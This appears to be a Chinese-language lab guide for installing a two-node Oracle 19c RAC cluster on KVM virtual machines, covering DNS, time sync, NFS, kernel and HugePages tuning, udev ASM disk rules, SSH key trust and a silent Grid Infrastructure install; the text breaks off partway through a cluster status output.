resolv-file=/etc/resolv.dnsmasq.conf addn-hosts=/etc/dnsmasq.hosts listen-address=127.0.0.1,192.168.122.5 設定文件: /etc/dnsmasq.hosts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ## Oracle 19c 19.30 192.168.122.141 db141.pollo.local 192.168.122.142 db142.pollo.local ## Oracle Private 192.168.55.141 db141-priv.pollo.local 192.168.55.142 db142-priv.pollo.local ## Oracle Virtual 192.168.122.143 db141-vip.pollo.local 192.168.122.144 db142-vip.pollo.local ## Oracle SCAN (oracle.install.crs.config.gpnp.scanName) [INS-40718] 192.168.122.145 db-scan.pollo.local 192.168.122.146 db-scan.pollo.local 192.168.122.147 db-scan.pollo.local 1 sudo systemctl enable --now dnsmasq 檢查設定\n1 sudo dnsmasq --test 設定防火牆 1 2 3 sudo firewall-cmd --add-service=dns --permanent sudo firewall-cmd --add-service=dhcp --permanent sudo firewall-cmd --reload KVM 複製虛擬機 # KVM 新增 ASM Disk # 1 2 3 4 5 6 export VIRTUAL_DISK_HOME=/var/lib/libvirt/images qemu-img create -f raw ${VIRTUAL_DISK_HOME}/db145-data-01.raw 20G qemu-img create -f raw ${VIRTUAL_DISK_HOME}/db145-data-02.raw 20G qemu-img create -f raw ${VIRTUAL_DISK_HOME}/db145-OCR-01.raw 5G qemu-img create -f raw ${VIRTUAL_DISK_HOME}/db145-OCR-02.raw 5G qemu-img create -f raw ${VIRTUAL_DISK_HOME}/db145-OCR-03.raw 5G KVM xml 範例 # db141-ora19-rac, db142-ora19-rac 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 \u0026lt;disk type=\u0026#34;file\u0026#34; device=\u0026#34;disk\u0026#34;\u0026gt; \u0026lt;driver name=\u0026#34;qemu\u0026#34; type=\u0026#34;raw\u0026#34; cache=\u0026#34;none\u0026#34;/\u0026gt; \u0026lt;source file=\u0026#34;/var/lib/libvirt/images/db145-OCR-01.raw\u0026#34;/\u0026gt; \u0026lt;target dev=\u0026#34;sda\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;serial\u0026gt;73efa1e1938ff3a830998761ecbf7b55\u0026lt;/serial\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/images/db145-OCR-02.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdb\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;1a257bcfd8edc33bc004b5f2415d423c\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/images/db145-OCR-03.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdc\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;b383c5977d884aa477de78db34346124\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/images/db145-data-01.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdd\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;8c7bcb226acd1a8eb5899e6f68e86e53\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/var/lib/libvirt/images/db145-data-02.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sde\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;061abe1be89145fabd72f7b702df6392\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; u cat create serial\u0026rsquo;s value with command\n1 2 3 openssl rand -hex 16 # or cat /proc/sys/kernel/random/uuid | tr -d \u0026#39;-\u0026#39; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 \u0026lt;disk type=\u0026#34;file\u0026#34; device=\u0026#34;disk\u0026#34;\u0026gt; \u0026lt;driver name=\u0026#34;qemu\u0026#34; type=\u0026#34;raw\u0026#34; cache=\u0026#34;none\u0026#34;/\u0026gt; \u0026lt;source file=\u0026#34;/vm-disk-01/db155-data-01.raw\u0026#34;/\u0026gt; \u0026lt;target dev=\u0026#34;sda\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;serial\u0026gt;a192c87c7e61400d9b4a1c844040b255\u0026lt;/serial\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/vm-disk-02/db155-data-02.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdb\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;e4cf29cbcb1643478d1543cc1e38b099\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/vm-disk-03/db155-OCR-01.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdc\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;764a0afaedd5492992c7322f7e01dcec\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/vm-disk-03/db155-OCR-02.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sdd\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;6d68e8d7f63e4829a0a1c3f025dad2be\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; \u0026lt;disk type=\u0026#39;file\u0026#39; device=\u0026#39;disk\u0026#39;\u0026gt; \u0026lt;driver name=\u0026#39;qemu\u0026#39; type=\u0026#39;raw\u0026#39;/\u0026gt; \u0026lt;source file=\u0026#39;/vm-disk-03/db155-OCR-03.raw\u0026#39;/\u0026gt; \u0026lt;target dev=\u0026#34;sde\u0026#34; bus=\u0026#34;scsi\u0026#34;/\u0026gt; \u0026lt;serial\u0026gt;df770ddcbd2247898ff726def561c783\u0026lt;/serial\u0026gt; \u0026lt;shareable/\u0026gt; \u0026lt;/disk\u0026gt; 實驗室中虛擬機設定-DNS Clinet # 設定文件: /etc/resolv.conf 1 nameserver 192.168.122.5 1 chattr +i /etc/resolv.conf check\n1 2 3 4 5 6 [root@common-server ~]# nslookup db141-vip.pollo.local Server: 127.0.0.1 Address: 127.0.0.1#53 Name: db141-vip.pollo.local Address: 192.168.122.133 安裝資料庫 # 部屬前置作業 # 設定虛擬主機硬碟 # 詳細請閱讀 [Oracle RAC VirtualBox 設定.docx]\n設定系統校時 # 1 2 3 4 5 6 7 8 9 10 11 12 # 切換到 root sudo -i sudo yum install -y chrony # 設定 NTP Server IP echo \u0026#34;server 192.168.122.5 iburst\u0026#34; \u0026gt;\u0026gt; /etc/chrony.conf # 重起 chronyd sudo systemctl restart chronyd sudo systemctl enable --now chronyd # 立即調整系統時間 sudo chronyc -a makestep # 確認結果 sudo chronyc sources -V 設定期望結果如下:\n1 2 3 4 5 [root@db142 ~]# sudo chronyc sources -V 210 Number of sources = 1 MS Name/IP address Stratum Poll Reach LastRx Last sample =============================================================================== ^* 192.168.122.5 3 6 17 3 -21us[ -81us] +/- 95ms 設定 DNS # 設定文件: /etc/resolv.conf 1 nameserver 192.168.122.5 1 chattr +i /etc/resolv.conf 設定期望結果\n1 2 3 4 5 6 [root@db141 ~]# nslookup db141-vip.pollo.local Server: 192.168.122.5 Address: 192.168.122.5#53 Name: db141-vip.pollo.local Address: 192.168.122.133 設定 NFS Client # 1 2 dnf install -y nfs-utils autofs mkdir /etc/autofs /etc/auto.master.d/nfs.autofs 1 /mnt/nfs /etc/autofs/oracle.nfs --timeout 60 /etc/autofs/oracle.nfs 1 software -fstype=nfs,vers=4,rw 192.168.122.1:/data/software 測試\n1 2 systemctl restart autofs ls /mnt/nfs/software 禁用IPV6 # 避免引發 bug ，以下是紀錄\n19c - 37015893\n26ai - 36326543\n21c - 33279556\n/etc/sysctl.d/900-disable-ipv6.conf\n1 2 3 net.ipv6.conf.lo.disable_ipv6=1 net.ipv6.conf.all.disable_ipv6=1 net.ipv6.conf.default.disable_ipv6=1 1 sudo sysctl -p /etc/sysctl.d/900-disable-ipv6.conf 重啟網路\n1 systemctl restart NetworkManager scp 程式處理 # 1 mv /usr/bin/scp /usr/bin/scp.bk /usr/bin/scp 1 2 #!/bin/bash /usr/bin/scp.bk -T -O \u0026#34;$@\u0026#34; 1 chmod +x /usr/bin/scp 關閉 SELinux # 先是試看不關閉 SELinux\n1 2 3 sudo sed -i \u0026#39;s/SELINUX=.*$/SELINUX=disabled/\u0026#39; /etc/selinux/config sed -i \u0026#39;s/^SELINUXTYPE=targeted/#\u0026amp;/\u0026#39; /etc/selinux/config setenforce 0 安裝 preinstall # 指令如下\n1 dnf install https://public-yum.oracle.com/repo/OracleLinux/OL9/appstream/x86_64/getPackage/oracle-database-preinstall-19c-1.0-1.el9.x86_64.rpm 檢查設定\n1 ulimit -H -n -u -s -l packages # 1 2 3 subscription-manager repos --enable codeready-builder-for-rhel-9-x86_64-rpms dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-9.noarch.rpm dnf install bc binutils compat-openssl11 elfutils-libelf fontconfig glibc glibc-devel ksh libaio libasan liblsan libX11 libXau libXi libXrender libXtst libxcrypt-compat libgcc libibverbs libnsl librdmacm libstdc++ libxcb libvirt-libs make policycoreutils policycoreutils-python-utils smartmontools sysstat chkconfig glibc-headers net-tools nfs-utils libnsl2 libnsl2-devel 設定 Pulic IP , Private IP 網路 # 1 2 3 4 5 6 7 8 9 nmcli device nmcli con add type ethernet con-name enp9s0 ifname enp9s0 nmcli con mod enp9s0 ipv4.addresses 192.168.55.142/24 nmcli con mod enp9s0 ipv4.gateway 192.168.55.1 nmcli con mod enp9s0 ipv4.method manual nmcli connection up \u0026#34;enp9s0\u0026#34; nmcli connection down \u0026#34;enp9s0\u0026#34; systemctl restart NetworkManager nmcli connection reload Pulic IP , Private IP 期望設定完成，期望結果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [root@db142 ~]# nmcli device nmcli con add type ethernet con-name enp9s0 ifname enp9s0 nmcli con mod enp9s0 ipv4.addresses 192.168.55.142/24 nmcli con mod enp9s0 ipv4.gateway 192.168.55.1 nmcli con mod enp9s0 ipv4.method manual nmcli connection up \u0026#34;enp9s0\u0026#34; nmcli connection down \u0026#34;enp9s0\u0026#34; systemctl restart NetworkManager nmcli connection reload DEVICE TYPE STATE CONNECTION enp1s0 ethernet connected enp1s0 enp9s0 ethernet connecting (getting IP configuration) Wired connection 1 lo loopback connected (externally) lo Connection \u0026#39;enp9s0\u0026#39; (0a9fdf6b-c78c-49d1-96fe-2c3f3dfd969a) successfully added. Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/7) Connection \u0026#39;enp9s0\u0026#39; successfully deactivated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/7) [root@db142 ~]# ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: enp1s0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 52:54:00:19:ae:b2 brd ff:ff:ff:ff:ff:ff inet 192.168.122.142/24 brd 192.168.122.255 scope global dynamic noprefixroute enp1s0 valid_lft 3595sec preferred_lft 3595sec 3: enp9s0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 52:54:00:8a:dc:48 brd ff:ff:ff:ff:ff:ff inet 192.168.55.142/24 brd 192.168.55.255 scope global noprefixroute enp9s0 valid_lft forever preferred_lft forever 1 2 3 4 5 6 7 8 9 nmcli device nmcli con add type ethernet con-name enp7s0 ifname enp7s0 nmcli con mod enp7s0 ipv4.addresses 10.192.0.151/24 nmcli con mod enp7s0 ipv4.gateway 10.192.0.254 nmcli con mod enp7s0 ipv4.method manual nmcli connection up \u0026#34;enp7s0\u0026#34; nmcli connection down \u0026#34;enp7s0\u0026#34; systemctl restart NetworkManager nmcli connection reload 設定 grid 帳號 # 1 2 3 4 groupadd -g 54327 asmdba groupadd -g 54328 asmoper groupadd -g 54329 asmadmin # groupadd -g 54330 racdba 1 2 useradd -u 54323 -g oinstall -G asmdba,asmadmin,asmoper grid usermod -aG asmdba oracle 設定 grid 環境參數 # /etc/security/limits.d/99-grid-limits.conf 1 2 3 4 5 6 7 8 grid soft nofile 1024 grid hard nofile 65536 grid soft nproc 16384 grid hard nproc 16384 grid soft stack 10240 grid hard stack 32768 grid hard memlock 134217728 grid soft memlock 134217728 停用防火牆 # 1 systemctl disable --now firewalld Disable Transparent HugePages # 1 2 [root@db142 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled always madvise [never] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ##GRUB禁用透明大页和NUMA vi /etc/default/grub GRUB_CMDLINE_LINUX=\u0026#34;resume=/dev/mapper/klas-swap rd.lvm.lv=klas/root rd.lvm.lv=klas/swap rhgb quiet numa=off transparent_hugepage=never crashkernel=1024M,high audit=0\u0026#34; ##生成新的grub文件 # BIOS启动： grub2-mkconfig -o /boot/grub2/grub.cfg # UEFI启动： grub2-mkconfig -o /boot/efi/EFI/kylin/grub.cfg ##重启服务器并验证 reboot cat /sys/kernel/mm/transparent_hugepage/enabled always madvise [never] Enabling Using HugePages # SGA -\u0026gt; 9G grep Hugepagesize: /proc/meminfo -\u0026gt; 2048 KB HugePages 數量 = (SGA(KB) / 2048) + 10\n(9 * 1024 * 1024 / 2048) +10 = 4,618\n/etc/sysctl.d/99-nr_hugepages.conf 1 2 vm.nr_hugepages = 4618 vm.hugetlb_shm_group=54322 1 sysctl -p /etc/sysctl.d/99-nr_hugepages.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [root@db142 ~]# grep Hugepagesize: /proc/meminfo Hugepagesize: 2048 kB [root@db142 ~]# grep Huge /proc/meminfo AnonHugePages: 0 kB ShmemHugePages: 0 kB FileHugePages: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB Hugetlb: 0 kB [root@db142 ~]# vim /etc/sysctl.d/99-nr_hugepages.conf [root@db142 ~]# sysctl -p /etc/sysctl.d/99-nr_hugepages.conf vm.nr_hugepages = 4618 [root@db142 ~]# grep Huge /proc/meminfo AnonHugePages: 0 kB ShmemHugePages: 0 kB FileHugePages: 0 kB HugePages_Total: 4618 HugePages_Free: 4618 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB Hugetlb: 9457664 kB 設定 oracle 主機帳號環境變數 # 1 mkdir -p /home/oracle/scripts /home/grid/scripts /u01/app/grid 設定文件: /home/oracle/scripts/setEnv.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # Oracle Settings export TMP=/tmp; export TMPDIR=$TMP; export ORACLE_BASE=/u01/app/oracle; export ORACLE_UNQNAME=db145 export ORACLE_HOME=$ORACLE_BASE/product/19/db; ##### RAC Node Difference start ##### # db141 export ORACLE_HOSTNAME=db141; export ORACLE_SID=db1; # db142 # export ORACLE_HOSTNAME=db142; # export ORACLE_SID=db2; ##### RAC Node Difference end ##### export PATH=/usr/sbin:$PATH; export PATH=$ORACLE_HOME/bin:$PATH; export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; 設定文件: /home/grid/scripts/setEnv.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Oracle Settings export TMP=/tmp; export TMPDIR=$TMP; export ORACLE_BASE=/u01/app/grid; export GRID_HOME=/u01/app/19/grid; export ORACLE_HOME=$GRID_HOME export CVUQDISK_GRP=oinstall export ORACLE_SID=+ASM1; # db142 # export ORACLE_SID=+ASM2; export PATH=/usr/sbin:$PATH; export PATH=$ORACLE_HOME/bin:$PATH; export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; 將 環境並數設定到使用者 bash 殼層\n1 2 sudo -u oracle echo \u0026#34;. /home/oracle/scripts/setEnv.sh\u0026#34; \u0026gt;\u0026gt; /home/oracle/.bash_profile sudo -u grid echo \u0026#34;. /home/grid/scripts/setEnv.sh\u0026#34; \u0026gt;\u0026gt; /home/grid/.bash_profile 1 2 3 4 chmod 0755 /home/grid/scripts/*.sh chmod 0755 /home/oracle/scripts/*.sh chown -R grid: /home/grid/ /u01 chown -R oracle: /home/oracle/ 安裝 multipath Tool # 如果沒有使用 FC 這段可以不需要\n1 dnf install device-mapper-multipath 設定文件: /etc/scsi_id.config # 檢查有文件: /etc/scsi_id.config ，如果沒有文件需要建立，內容如下\n1 options=-g 格式化硬碟 # 以下任一主機設定即可\n檢查硬碟路徑，以下為分割前\n1 2 3 4 5 6 7 8 9 10 11 [root@db141 ~]# fdisk -l | grep /dev/ Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors /dev/vda1 * 2048 2099199 2097152 1G 83 Linux /dev/vda2 2099200 209715199 207616000 99G 8e Linux LVM Disk /dev/sda: 5 GiB, 5368709120 bytes, 10485760 sectors Disk /dev/sdb: 20 GiB, 21474836480 bytes, 41943040 sectors Disk /dev/sdc: 20 GiB, 21474836480 bytes, 41943040 sectors Disk /dev/sdd: 5 GiB, 5368709120 bytes, 10485760 sectors Disk /dev/sde: 5 GiB, 5368709120 bytes, 10485760 sectors Disk /dev/mapper/rhel-root: 83 GiB, 89116377088 bytes, 174055424 sectors Disk /dev/mapper/rhel-swap: 16 GiB, 17179869184 bytes, 33554432 sectors 1 fdisk /dev/vdb 檢查硬碟路徑，以下為分割後\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [root@db141 ~]# fdisk -l | grep /dev/ Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors /dev/vda1 * 2048 2099199 2097152 1G 83 Linux /dev/vda2 2099200 209715199 207616000 99G 8e Linux LVM Disk /dev/sda: 5 GiB, 5368709120 bytes, 10485760 sectors /dev/sda1 2048 10485759 10483712 5G 83 Linux Disk /dev/sdb: 20 GiB, 21474836480 bytes, 41943040 sectors /dev/sdb1 2048 41943039 41940992 20G 83 Linux Disk /dev/sdc: 20 GiB, 21474836480 bytes, 41943040 sectors /dev/sdc1 2048 41943039 41940992 20G 83 Linux Disk /dev/sdd: 5 GiB, 5368709120 bytes, 10485760 sectors /dev/sdd1 2048 10485759 10483712 5G 83 Linux Disk /dev/sde: 5 GiB, 5368709120 bytes, 10485760 sectors /dev/sde1 2048 10485759 10483712 5G 83 Linux Disk /dev/mapper/rhel-root: 83 GiB, 89116377088 bytes, 174055424 sectors Disk /dev/mapper/rhel-swap: 16 GiB, 17179869184 bytes, 33554432 sectors Create the ASM Disks # 以下任一主機設定即可\n1 /usr/lib/udev/scsi_id -g -u -d /dev/sdb 1 2 3 4 5 6 7 8 9 10 [root@db141 ~]# /usr/lib/udev/scsi_id -g -u -d /dev/sda 0QEMU_QEMU_HARDDISK_73efa1e1938ff3a830998761ecbf7b55 [root@db141 ~]# /usr/lib/udev/scsi_id -g -u -d /dev/sdb 0QEMU_QEMU_HARDDISK_061abe1be89145fabd72f7b702df6392 [root@db141 ~]# /usr/lib/udev/scsi_id -g -u -d /dev/sdc 0QEMU_QEMU_HARDDISK_8c7bcb226acd1a8eb5899e6f68e86e53 [root@db141 ~]# /usr/lib/udev/scsi_id -g -u -d /dev/sdd 0QEMU_QEMU_HARDDISK_b383c5977d884aa477de78db34346124 [root@db141 ~]# /usr/lib/udev/scsi_id -g -u -d /dev/sde 0QEMU_QEMU_HARDDISK_1a257bcfd8edc33bc004b5f2415d423c 以下兩台主機都要設定\n/etc/udev/rules.d/99-oracle-asmdevices-ocr.rules 99-oracle-asmdevices-ocr.rules\n/etc/udev/rules.d/99-oracle-asmdevices-data.rules 99-oracle-asmdevices-data.rules\n重載 UDEV 規則\n1 /sbin/partprobe \u0026amp;\u0026amp; /sbin/udevadm control --reload-rules \u0026amp;\u0026amp; udevadm trigger \u0026amp;\u0026amp; ls -al /dev/oracleas*/* 期望結果如下\n1 2 3 4 5 6 [root@db141 ~]# /sbin/partprobe \u0026amp;\u0026amp; /sbin/udevadm control --reload-rules \u0026amp;\u0026amp; udevadm trigger \u0026amp;\u0026amp; ls -al /dev/oracleas*/* lrwxrwxrwx. 1 root root 7 Feb 22 20:34 /dev/oracleasm-data/db145-data-01 -\u0026gt; ../sdb1 lrwxrwxrwx. 1 root root 7 Feb 22 20:34 /dev/oracleasm-data/db145-data-02 -\u0026gt; ../sdc1 lrwxrwxrwx. 1 root root 7 Feb 22 20:34 /dev/oracleasm-ocr/db145-OCR-01 -\u0026gt; ../sda1 lrwxrwxrwx. 1 root root 7 Feb 22 20:34 /dev/oracleasm-ocr/db145-OCR-02 -\u0026gt; ../sdd1 lrwxrwxrwx. 1 root root 7 Feb 22 20:34 /dev/oracleasm-ocr/db145-OCR-03 -\u0026gt; ../sde1 注意權限\n1 2 3 4 5 6 [root@db142 u01]# ls -al /dev/sd*1 brw-rw----. 1 grid asmadmin 8, 1 Feb 22 14:24 /dev/sda1 brw-rw----. 1 grid asmadmin 8, 17 Feb 22 14:24 /dev/sdb1 brw-rw----. 1 grid asmadmin 8, 33 Feb 22 14:24 /dev/sdc1 brw-rw----. 1 grid asmadmin 8, 49 Feb 22 14:24 /dev/sdd1 brw-rw----. 1 grid asmadmin 8, 65 Feb 22 14:24 /dev/sde1 主機 ssh-key 登入設定 # 設定 ssh-key 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # passwd grid # passwd oracle su - oracle su - grid ssh-keygen cat ~/.ssh/id_rsa.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys # cat ~/.ssh/id_rsa.pub # 兩台主機金鑰互相貼上到對應帳號 ~/.ssh/authorized_keys ssh-keyscan -H db141.pollo.local \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H db142.pollo.local \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H db141 \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H db142 \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H db141-priv.pollo.local \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H db142-priv.pollo.local \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H localhost \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H 192.168.55.141 \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H 192.168.55.142 \u0026gt;\u0026gt; ~/.ssh/known_hosts ssh-keyscan -H 127.0.0.1 \u0026gt;\u0026gt; ~/.ssh/known_hosts 測試登入，登入過成功不需要輸入 yes 與 密碼，代表設定成功\n1 ssh db142-priv.pollo.local Install the Grid Infrastructure # grid@db141\n1 2 su - grid mkdir -p ${ORACLE_HOME} 1 2 3 4 5 6 7 unzip -q /mnt/nfs/software/DB/Oracle/V982068-01.zip -d ${ORACLE_HOME} mv $ORACLE_HOME/OPatch $ORACLE_HOME/OPatchOld unzip -q /mnt/nfs/software/DB/Oracle/patches/p6880880_190000_Linux-x86-64.zip -d $ORACLE_HOME rm -rf $ORACLE_HOME/OPatch/jre cp -r $ORACLE_HOME/OPatchOld/jre $ORACLE_HOME/OPatch/ tar -xf /mnt/nfs/software/DB/Oracle/patches/stubs.tar -C $ORACLE_HOME/lib/stubs/ $ORACLE_HOME/OPatch/opatch version 1 2 3 4 [grid@db141 ~]$ $ORACLE_HOME/OPatch/opatch version OPatch Version: 12.2.0.1.46 OPatch succeeded. 1 2 mkdir -p /u01/patch/ unzip -q /mnt/nfs/software/DB/Oracle/patches/p38629535_190000_Linux-x86-64.zip -d /u01/patch/ Install the package cvudisk from the grid home as the “root” user on all nodes. 1 2 3 4 # root dnf localinstall /u01/app/grid/cv/rpm/cvuqdisk-1.0.10-1.rpm -y scp $ORACLE_HOME/cv/rpm/cvuqdisk-1.0.10-1.rpm db142:/tmp dnf localinstall /tmp/cvuqdisk-1.0.10-1.rpm 1 2 su - grid $ORACLE_HOME/oui/prov/resources/scripts/sshUserSetup.sh -user grid -hosts \u0026#34;db141 db142\u0026#34; -advanced -noPromptPassphrase 執行結果如下\nsshUserSetup.sh.log\n1 2 3 4 5 cd $ORACLE_HOME export CV_ASSUME_DISTID=OL8 ./runcluvfy.sh stage -pre crsinst -n db141,db142 -verbose /u01/patch/38629535/38661284/files/bin/cluvfyrac.sh ./runcluvfy.sh stage -pre crsinst -n db141,db142 -fixup -verbose PRVG-11250 可以忽略\n設定文件: /u01/app/19/grid/install/response/gridsetup-20251021.rsp gridsetup-20251021.rsp\n1 2 cd $ORACLE_HOME ./gridSetup.sh -silent -applyRU /u01/patch/38629535 -waitforcompletion -responseFile /u01/app/19/grid/install/response/gridsetup-20251021.rsp gridSetup.sh.log\nroot_db141_2026-02-22_21-09-57-945014367.log\noot_db142_2026-02-22_21-22-29-688558179.log\n因為安裝過程中有出現 [WARNING] 在提示中要執行修復作業\n1 /u01/app/19/grid/gridSetup.sh -executeConfigTools -responseFile /u01/app/19/grid/install/response/gridsetup-20251021.rsp -silent 1 2 3 4 5 6 7 8 9 [grid@db141 ~]$ /u01/app/19/grid/gridSetup.sh -executeConfigTools -responseFile /u01/app/19/grid/install/response/gridsetup-20251021.rsp -silent Launching Oracle Grid Infrastructure Setup Wizard... You can find the logs of this session at: /u01/app/oraInventory/logs/GridSetupActions2026-02-22_09-18-59PM You can find the log of this install session at: /u01/app/oraInventory/logs/UpdateNodeList2026-02-22_09-18-59PM.log Successfully Configured Software. UpdateNodeList2026-02-22_09-18-59PM.log\n檢查 # 做到這邊不要忘記執行檢查\n1 crsctl stat res -t 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [grid@db141 ~]$ crsctl stat res -t -------------------------------------------------------------------------------- Name Target State Server State details -------------------------------------------------------------------------------- Local Resources -------------------------------------------------------------------------------- ora.LISTENER.lsnr ONLINE ONLINE db141 STABLE ONLINE ONLINE db142 STABLE ora.chad ONLINE ONLINE db141 STABLE ONLINE ONLINE db142 STABLE ora.net1.network ONLINE ONLINE db141 STABLE ONLINE ONLINE db142 STABLE ora.ons ONLINE ONLINE db141 STABLE ONLINE ONLINE db142 STABLE -------------------------------------------------------------------------------- Cluster Resources -------------------------------------------------------------------------------- ora.ASMNET1LSNR_ASM.lsnr(ora.asmgroup) 1 ONLINE ONLINE db141 STABLE 2 ONLINE ONLINE db142 STABLE ora.LISTENER_SCAN1.lsnr 1 ONLINE ONLINE db142 STABLE ora.LISTENER_SCAN2.lsnr 1 ONLINE ONLINE db141 STABLE ora.LISTENER_SCAN3.lsnr 1 ONLINE ONLINE db141 STABLE ora.LISTENER_SCAN4.lsnr 1 ONLINE ONLINE db141 STABLE ora.LISTENER_SCAN5.lsnr 1 ONLINE ONLINE db141 STABLE ora.LISTENER_SCAN6.lsnr 1 ONLINE 